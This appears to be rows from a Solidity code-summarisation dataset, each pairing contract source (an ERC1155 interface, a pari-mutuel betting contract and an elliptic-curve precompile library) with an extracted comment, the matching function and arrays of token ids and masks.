event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * ROYALTY FUNCTIONS/ | function updateRoyalties(address payable recipient, uint256 bps) external onlyOwner {
_royaltyRecipient = recipient;
_royaltyBps = bps;
}
| 6,872,188 | [
1,
1457,
61,
1013,
5538,
13690,
55,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1089,
54,
13372,
2390,
606,
12,
2867,
8843,
429,
8027,
16,
2254,
5034,
324,
1121,
13,
3903,
1338,
5541,
288,
203,
565,
389,
3800,
15006,
18241,
273,
8027,
31,
203,
565,
389,
3800,
15006,
38,
1121,
273,
324,
1121,
31,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Beths base contract
* @author clemlak (https://www.beths.co)
* @notice Place bets using Ether, based on the "pari mutuel" principle
* Only the owner of the contract can create bets, he can also take a cut on every payouts
* @dev This is the base contract for our dapp, we manage here all the things related to the "house"
*/
contract BethsHouse is Ownable {
/**
* @notice Emitted when the house cut percentage is changed
* @param newHouseCutPercentage The new percentage
*/
event HouseCutPercentageChanged(uint newHouseCutPercentage);
/**
* @notice The percentage taken by the house on every game
* @dev Can be changed later with the changeHouseCutPercentage() function
*/
uint public houseCutPercentage = 10;
/**
* @notice Changes the house cut percentage
* @dev To prevent abuses, the new percentage is checked
* @param newHouseCutPercentage The new house cut percentage
*/
function changeHouseCutPercentage(uint newHouseCutPercentage) external onlyOwner {
// This prevents us from being too greedy ;)
if (newHouseCutPercentage >= 0 && newHouseCutPercentage < 20) {
houseCutPercentage = newHouseCutPercentage;
emit HouseCutPercentageChanged(newHouseCutPercentage);
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title We manage all the things related to our games here
* @author Clemlak (https://www.beths.co)
*/
contract BethsGame is BethsHouse {
/**
* @notice We use the SafeMath library in order to prevent overflow errors
* @dev Don't forget to use add(), sub(), ... instead of +, -, ...
*/
using SafeMath for uint256;
/**
* @notice Emitted when a new game is opened
* @param gameId The id of the corresponding game
* @param teamA The name of the team A
* @param teamB The name of the team B
* @param description A small description of the game
* @param frozenTimestamp The exact moment when the game will be frozen
*/
event GameHasOpened(uint gameId, string teamA, string teamB, string description, uint frozenTimestamp);
/**
* @notice Emitted when a game is frozen
* @param gameId The id of the corresponding game
*/
event GameHasFrozen(uint gameId);
/**
* @notice Emitted when a game is closed
* @param gameId The id of the corresponding game
* @param result The result of the game (see: enum GameResults)
*/
event GameHasClosed(uint gameId, GameResults result);
/**
* @notice All the different states a game can have (only 1 at a time)
*/
enum GameStates { Open, Frozen, Closed }
/**
* @notice All the possible results (only 1 at a time)
* @dev All new games are initialized with a NotYet result
*/
enum GameResults { NotYet, TeamA, Draw, TeamB }
/**
* @notice This struct defines what a game is
*/
struct Game {
string teamA;
uint amountToTeamA;
string teamB;
uint amountToTeamB;
uint amountToDraw;
string description;
uint frozenTimestamp;
uint bettorsCount;
GameResults result;
GameStates state;
bool isHouseCutWithdrawn;
}
/**
* @notice We store all our games in an array
*/
Game[] public games;
/**
* @notice This function creates a new game
* @dev Can only be called externally by the owner
* @param teamA The name of the team A
* @param teamB The name of the team B
* @param description A small description of the game
* @param frozenTimestamp A timestamp representing when the game will be frozen
*/
function createNewGame(
string teamA,
string teamB,
string description,
uint frozenTimestamp
) external onlyOwner {
// We push the new game directly into our array
uint gameId = games.push(Game(
teamA, 0, teamB, 0, 0, description, frozenTimestamp, 0, GameResults.NotYet, GameStates.Open, false
)) - 1;
emit GameHasOpened(gameId, teamA, teamB, description, frozenTimestamp);
}
/**
* @notice We use this function to froze a game
* @dev Can only be called externally by the owner
* @param gameId The id of the corresponding game
*/
function freezeGame(uint gameId) external onlyOwner whenGameIsOpen(gameId) {
games[gameId].state = GameStates.Frozen;
emit GameHasFrozen(gameId);
}
/**
* @notice We use this function to close a game
* @dev Can only be called by the owner when a game is frozen
* @param gameId The id of a specific game
* @param result The result of the game (see: enum GameResults)
*/
function closeGame(uint gameId, GameResults result) external onlyOwner whenGameIsFrozen(gameId) {
games[gameId].state = GameStates.Closed;
games[gameId].result = result;
emit GameHasClosed(gameId, result);
}
/**
* @notice Returns some basic information about a specific game
* @dev This function DOES NOT return the bets-related info, the current state or the result of the game
* @param gameId The id of the corresponding game
*/
function getGameInfo(uint gameId) public view returns (
string,
string,
string
) {
return (
games[gameId].teamA,
games[gameId].teamB,
games[gameId].description
);
}
/**
* @notice Returns all the info related to the bets
* @dev Use other functions for more info
* @param gameId The id of the corresponding game
*/
function getGameAmounts(uint gameId) public view returns (
uint,
uint,
uint,
uint,
uint
) {
return (
games[gameId].amountToTeamA,
games[gameId].amountToDraw,
games[gameId].amountToTeamB,
games[gameId].bettorsCount,
games[gameId].frozenTimestamp
);
}
/**
* @notice Returns the state of a specific game
* @dev Use other functions for more info
* @param gameId The id of the corresponding game
*/
function getGameState(uint gameId) public view returns (GameStates) {
return games[gameId].state;
}
/**
* @notice Returns the result of a specific game
* @dev Use other functions for more info
* @param gameId The id of the corresponding game
*/
function getGameResult(uint gameId) public view returns (GameResults) {
return games[gameId].result;
}
/**
* @notice Returns the total number of games
*/
function getTotalGames() public view returns (uint) {
return games.length;
}
/**
* @dev Compare 2 strings and returns true if they are identical
* This function even work if a string is in memory and the other in storage
* @param a The first string
* @param b The second string
*/
function compareStrings(string a, string b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
/**
* @dev Prevent to interact if the game is not open
* @param gameId The id of a specific game
*/
modifier whenGameIsOpen(uint gameId) {
require(games[gameId].state == GameStates.Open);
_;
}
/**
* @dev Prevent to interact if the game is not frozen
* @param gameId The id of a specific game
*/
modifier whenGameIsFrozen(uint gameId) {
require(games[gameId].state == GameStates.Frozen);
_;
}
/**
* @dev Prevent to interact if the game is not closed
* @param gameId The id of a specific game
*/
modifier whenGameIsClosed(uint gameId) {
require(games[gameId].state == GameStates.Closed);
_;
}
}
/**
* @title We manage all the things related to our bets here
* @author Clemlak (https://www.beths.co)
*/
contract BethsBet is BethsGame {
/**
* @notice Emitted when a new bet is placed
* @param gameId The name of the corresponding game
* @param result The result expected by the bettor (see: enum GameResults)
* @param amount How much the bettor placed
*/
event NewBetPlaced(uint gameId, GameResults result, uint amount);
/**
* @notice The minimum amount needed to place bet (in Wei)
* @dev Can be changed later by the changeMinimumBetAmount() function
*/
uint public minimumBetAmount = 1000000000;
/**
* @notice This struct defines what a bet is
*/
struct Bet {
uint gameId;
GameResults result;
uint amount;
bool isPayoutWithdrawn;
}
/**
* @notice We store all our bets in an array
*/
Bet[] public bets;
/**
* @notice This links bets with bettors
*/
mapping (uint => address) public betToAddress;
/**
* @notice This links the bettor to their bets
*/
mapping (address => uint[]) public addressToBets;
/**
* @notice Changes the minimum amount needed to place a bet
* @dev The amount is in Wei and must be greater than 0 (can only be changed by the owner)
* @param newMinimumBetAmount The new amount
*/
function changeMinimumBetAmount(uint newMinimumBetAmount) external onlyOwner {
if (newMinimumBetAmount > 0) {
minimumBetAmount = newMinimumBetAmount;
}
}
/**
* @notice Place a new bet
* @dev This function is payable and we'll use the amount we receive as the bet amount
* Bets can only be placed while the game is open
* @param gameId The id of the corresponding game
* @param result The result expected by the bettor (see enum GameResults)
*/
function placeNewBet(uint gameId, GameResults result) public whenGameIsOpen(gameId) payable {
// We check if the bet amount is greater or equal to our minimum
if (msg.value >= minimumBetAmount) {
// We push our bet in our main array
uint betId = bets.push(Bet(gameId, result, msg.value, false)) - 1;
// We link the bet with the bettor
betToAddress[betId] = msg.sender;
// We link the address with their bets
addressToBets[msg.sender].push(betId);
// Then we update our game
games[gameId].bettorsCount = games[gameId].bettorsCount.add(1);
// And we update the amount bet on the expected result
if (result == GameResults.TeamA) {
games[gameId].amountToTeamA = games[gameId].amountToTeamA.add(msg.value);
} else if (result == GameResults.Draw) {
games[gameId].amountToDraw = games[gameId].amountToDraw.add(msg.value);
} else if (result == GameResults.TeamB) {
games[gameId].amountToTeamB = games[gameId].amountToTeamB.add(msg.value);
}
// And finally we emit the corresponding event
emit NewBetPlaced(gameId, result, msg.value);
}
}
/**
* @notice Returns an array containing the ids of the bets placed by a specific address
* @dev This function is meant to be used with the getBetInfo() function
* @param bettorAddress The address of the bettor
*/
function getBetsFromAddress(address bettorAddress) public view returns (uint[]) {
return addressToBets[bettorAddress];
}
/**
* @notice Returns the info of a specific bet
* @dev This function is meant to be used with the getBetsFromAddress() function
* @param betId The id of the specific bet
*/
function getBetInfo(uint betId) public view returns (uint, GameResults, uint, bool) {
return (bets[betId].gameId, bets[betId].result, bets[betId].amount, bets[betId].isPayoutWithdrawn);
}
}
/**
* @title This contract handles all the functions related to the payouts
* @author Clemlak (https://www.beths.co)
* @dev This contract is still in progress
*/
contract BethsPayout is BethsBet {
/**
* @notice We use this function to withdraw the house cut from a game
* @dev Can only be called externally by the owner when a game is closed
* @param gameId The id of a specific game
*/
function withdrawHouseCutFromGame(uint gameId) external onlyOwner whenGameIsClosed(gameId) {
// We check if we haven't already withdrawn the cut
if (!games[gameId].isHouseCutWithdrawn) {
games[gameId].isHouseCutWithdrawn = true;
uint houseCutAmount = calculateHouseCutAmount(gameId);
owner.transfer(houseCutAmount);
}
}
/**
* @notice This function is called by a bettor to withdraw his payout
* @dev This function can only be called externally
* @param betId The id of a specific bet
*/
function withdrawPayoutFromBet(uint betId) external whenGameIsClosed(bets[betId].gameId) {
// We check if the bettor has won
require(games[bets[betId].gameId].result == bets[betId].result);
// If he won, but we want to be sure that he didn't already withdraw his payout
if (!bets[betId].isPayoutWithdrawn) {
// Everything seems okay, so now we give the bettor his payout
uint payout = calculatePotentialPayout(betId);
// We prevent the bettor to withdraw his payout more than once
bets[betId].isPayoutWithdrawn = true;
address bettorAddress = betToAddress[betId];
// We send the payout
bettorAddress.transfer(payout);
}
}
/**
* @notice Returns the "raw" pool amount (including the amount of the house cut)
* @dev Can be called at any state of a game
* @param gameId The id of a specific game
*/
function calculateRawPoolAmount(uint gameId) internal view returns (uint) {
return games[gameId].amountToDraw.add(games[gameId].amountToTeamA.add(games[gameId].amountToTeamB));
}
/**
* @notice Returns the amount the house will take
* @dev Can be called at any state of a game
* @param gameId The id of a specific game
*/
function calculateHouseCutAmount(uint gameId) internal view returns (uint) {
uint rawPoolAmount = calculateRawPoolAmount(gameId);
return houseCutPercentage.mul(rawPoolAmount.div(100));
}
/**
* @notice Returns the total of the pool (minus the house part)
* @dev This value will be used to calculate the bettors' payouts
* @param gameId the id of a specific game
*/
function calculatePoolAmount(uint gameId) internal view returns (uint) {
uint rawPoolAmount = calculateRawPoolAmount(gameId);
uint houseCutAmount = calculateHouseCutAmount(gameId);
return rawPoolAmount.sub(houseCutAmount);
}
/**
* @notice Returns the potential payout from a bet
* @dev Warning! This function DOES NOT check if the game is open/frozen/closed or if the bettor has won
* @param betId The id of a specific bet
*/
function calculatePotentialPayout(uint betId) internal view returns (uint) {
uint betAmount = bets[betId].amount;
uint poolAmount = calculatePoolAmount(bets[betId].gameId);
uint temp = betAmount.mul(poolAmount);
uint betAmountToWinningTeam = 0;
if (games[bets[betId].gameId].result == GameResults.TeamA) {
betAmountToWinningTeam = games[bets[betId].gameId].amountToTeamA;
} else if (games[bets[betId].gameId].result == GameResults.TeamB) {
betAmountToWinningTeam = games[bets[betId].gameId].amountToTeamB;
} else if (games[bets[betId].gameId].result == GameResults.Draw) {
betAmountToWinningTeam = games[bets[betId].gameId].amountToDraw;
}
return temp.div(betAmountToWinningTeam);
}
} | * @notice We store all our games in an array/ | Game[] public games;
| 2,560,433 | [
1,
3218,
1707,
777,
3134,
28422,
316,
392,
526,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
14121,
8526,
1071,
28422,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.0;
library ecOps {
////////////////////////////////////////////////////////
// EC operations - precompiled contracts for bn256 only!
////////////////////////////////////////////////////////
// The curve y^2 = x^3 + a*x + b (x,y in modulo n field)
uint256 public constant b = 3;
uint256 public constant p = 0x30644E72E131A029B85045B68181585D97816A916871CA8D3C208C16D87CFD47;
uint256 public constant q = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;
function ecmul(uint256[2] p0, uint256 scalar) public view
returns(uint256[2] p1)
{
uint256[3] memory input;
input[0] = p0[0];
input[1] = p0[1];
input[2] = scalar;
assembly{
// call ecmul precompile
if iszero(call(not(0), 0x07, 0, input, 0x60, p1, 0x40)) {
revert(0, 0)
}
}
}
function ecadd(uint256[2] p0, uint256[2] p1) public view
returns(uint256[2] p2)
{
uint256[4] memory input;
input[0] = p0[0];
input[1] = p0[1];
input[2] = p1[0];
input[3] = p1[1];
assembly{
// call ecadd precompile
if iszero(call(not(0), 0x06, 0, input, 0x80, p2, 0x40)) {
revert(0, 0)
}
}
}
function pairingCheck(uint256[2] x, uint256[4] w, uint256[2] y, uint256[4] z)
internal
returns (bool)
{
//returns e(a,x) == e(b,y)
uint256[12] memory input = [
x[0], x[1], w[0], w[1], w[2], w[3],
y[0], p - y[1], z[0], z[1], z[2], z[3]
];
uint[1] memory result;
assembly {
if iszero(call(not(0), 0x08, 0, input, 0x180, result, 0x20)) {
revert(0, 0)
}
}
return result[0]==1;
}
// Return true iff p1 equals to p2 (points on the elliptic curve)
function isEqualPoints(uint256[2] p1, uint256[2] p2) public pure
returns(bool isEqual)
{
return (p1[0] == p2[0] && p1[1] == p2[1]);
}
// Returns true iff p1 is in G1 group
function isInG1(uint256[2] p1) public pure
returns(bool)
{
if (p1[0] == 0 && p1[1] == 0) {
return true;
}
uint256 x3 = mulmod(p1[0], p1[0], p);
x3 = mulmod(x3, p1[0], p);
x3 = addmod(x3, b, p);
uint256 y2 = mulmod(p1[1], p1[1], p);
return x3 == y2;
}
// TODO: make it more gas efficient by implementing the check by yourself
// Returns true iff p1 is in G2.
function isInG2(uint256[4] p1) public view
returns(bool)
{
uint256[12] memory input = [
1, 2, p1[0], p1[1], p1[2], p1[3],
1, p - 2, p1[0], p1[1], p1[2], p1[3]
];
uint[1] memory result;
bool isIn = true;
assembly {
if iszero(call(not(0), 0x08, 0, input, 0x180, result, 0x20)) {
isIn := 0
}
}
return isIn;
}
} | call ecadd precompile | function ecadd(uint256[2] p0, uint256[2] p1) public view
returns(uint256[2] p2)
{
uint256[4] memory input;
input[0] = p0[0];
input[1] = p0[1];
input[2] = p1[0];
input[3] = p1[1];
assembly{
if iszero(call(not(0), 0x06, 0, input, 0x80, p2, 0x40)) {
revert(0, 0)
}
}
}
| 1,046,144 | [
1,
1991,
6557,
1289,
675,
11100,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6557,
1289,
12,
11890,
5034,
63,
22,
65,
293,
20,
16,
2254,
5034,
63,
22,
65,
293,
21,
13,
1071,
1476,
203,
3639,
1135,
12,
11890,
5034,
63,
22,
65,
293,
22,
13,
7010,
565,
288,
203,
3639,
2254,
5034,
63,
24,
65,
3778,
810,
31,
203,
3639,
810,
63,
20,
65,
273,
293,
20,
63,
20,
15533,
203,
3639,
810,
63,
21,
65,
273,
293,
20,
63,
21,
15533,
203,
3639,
810,
63,
22,
65,
273,
293,
21,
63,
20,
15533,
203,
3639,
810,
63,
23,
65,
273,
293,
21,
63,
21,
15533,
203,
203,
3639,
19931,
95,
203,
5411,
309,
353,
7124,
12,
1991,
12,
902,
12,
20,
3631,
374,
92,
7677,
16,
374,
16,
810,
16,
374,
92,
3672,
16,
293,
22,
16,
374,
92,
7132,
3719,
288,
203,
7734,
15226,
12,
20,
16,
374,
13,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
